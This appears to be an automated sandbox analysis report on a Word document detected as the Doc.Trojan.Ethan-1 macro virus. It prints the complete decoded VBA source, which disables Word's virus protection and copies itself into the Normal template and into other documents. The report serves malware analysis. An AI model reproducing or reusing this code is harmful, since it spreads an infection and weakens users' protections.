MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is an OLE document containing VBA macros. The critical ClamAV heuristic indicates it is known malware (Doc.Trojan.Ethan-1). The VBA script attempts to copy its code to the Normal template and potentially modify document properties, suggesting an attempt at persistence or evasion. The script's logic for copying code between the active document and the Normal template, along with the potential modification of document summary information, indicates a sophisticated evasion or persistence mechanism.
Heuristics 2
-
ClamAV: Doc.Trojan.Ethan-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-1
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6200 bytes |
SHA-256: 1c75c0876b530d2ddef6fd14ebfdf266367bc56d5e313fa5ab50ee236b730d5d |
|||
|
Detection
ClamAV:
Doc.Trojan.Ethan-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Close() On Error Resume Next Const ID = "xyzzy" Dim hdlskk As Boolean Dim ijnff, iitgh As Object Dim zmbbcxx As String Set ijnff = ActiveDocument.VBProject.VBComponents.Item(1) Set iitgh = NormalTemplate.VBProject.VBComponents.Item(1) Options.VirusProtection = False If (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then If (iitgh.codemodule.Find(ID, 1, 1, 10000, 10000) = False) And (ijnff.codemodule.Find(ID, 1, 1, 10000, 10000) = True) Then hdlskk = NormalTemplate.Saved zmbbcxx = ijnff.codemodule.Lines(1, ijnff.codemodule.CountOfLines) iitgh.codemodule.deletelines 1, iitgh.codemodule.CountOfLines iitgh.codemodule.AddFromString zmbbcxx If hdlskk = True Then NormalTemplate.Save End If hdlskk = False If (iitgh.codemodule.Find(ID, 1, 1, 10000, 10000) = True) And (ijnff.codemodule.Find(ID, 1, 1, 10000, 10000) = False) Then zmbbcxx = iitgh.codemodule.Lines(1, iitgh.codemodule.CountOfLines) ijnff.codemodule.deletelines 1, ijnff.codemodule.CountOfLines ijnff.codemodule.AddFromString zmbbcxx hdlskk = True End If If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: hdlskk = True: End With If (hdlskk = True) And Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If End Sub ' Processing file: /opt/analyzer/scan_staging/19619b8914c7479e8b997d62a9c94c5c.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 3407 bytes ' Line #0: ' Line #1: ' Line #2: ' Line #3: ' Line #4: ' Line #5: ' Line #6: ' Line #7: ' Line #8: ' Line #9: ' Line #10: ' Line #11: ' Line #12: ' Line #13: ' Line #14: ' Line #15: ' Line #16: ' Line #17: ' Line #18: ' Line #19: ' Line #20: ' Line #21: ' Line #22: ' Line #23: ' Line #24: ' Line #25: ' Line #26: ' Line #27: ' Line #28: ' Line #29: ' Line #30: ' Line #31: ' Line #32: ' Line #33: ' Line #34: ' Line #35: ' Line #36: ' Line #37: ' Line #38: ' FuncDefn (Private Sub Document_Close()) ' Line #39: ' OnError (Resume Next) ' Line #40: ' Dim (Const) ' LitStr 0x0005 "xyzzy" ' VarDefn ID ' Line #41: ' Dim ' VarDefn hdlskk (As Boolean) ' Line #42: ' Dim ' VarDefn ijnff ' VarDefn iitgh (As Object) ' Line #43: ' Dim ' VarDefn zmbbcxx (As String) ' Line #44: ' SetStmt ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set ijnff ' Line #45: ' SetStmt ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set iitgh ' Line #46: ' LitVarSpecial (False) ' Ld Options ' MemSt VirusProtection ' Line #47: ' Ld ActiveDocument ' MemLd SaveFormat ' Ld wdFormatDocument ' Eq ' Ld ActiveDocument ' MemLd SaveFormat ' Ld wdFormatTemplate ' Eq ' Or ' Paren ' IfBlock ' Line #48: ' Ld ID ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x2710 ' LitDI2 0x2710 ' Ld iitgh ' MemLd codemodule ' ArgsMemLd Find 0x0005 ' LitVarSpecial (False) ' Eq ' Paren ' Ld ID ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x2710 ' LitDI2 0x2710 ' Ld ijnff ' MemLd codemodule ' ArgsMemLd Find 0x0005 ' LitVarSpecial (True) ' Eq ' Paren ' And ' IfBlock ' Line #49: ' Ld NormalTemplate ' MemLd Saved ' St hdlskk ' Line #50: ' LitDI2 0x0001 ' Ld ijnff ' MemLd codemodule ' MemLd CountOfLines ' Ld ijnff ' MemLd codemodule ' ArgsMemLd Lines 0x0002 ' St zmbbcxx ' Line #51: ' LitDI2 0x0001 ' Ld iitgh ' MemLd codemodule ' MemLd CountOfLines ' Ld iitgh ' MemLd codemodule ' ArgsMemCall deletelines 0x0002 ' Line #52: ' ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.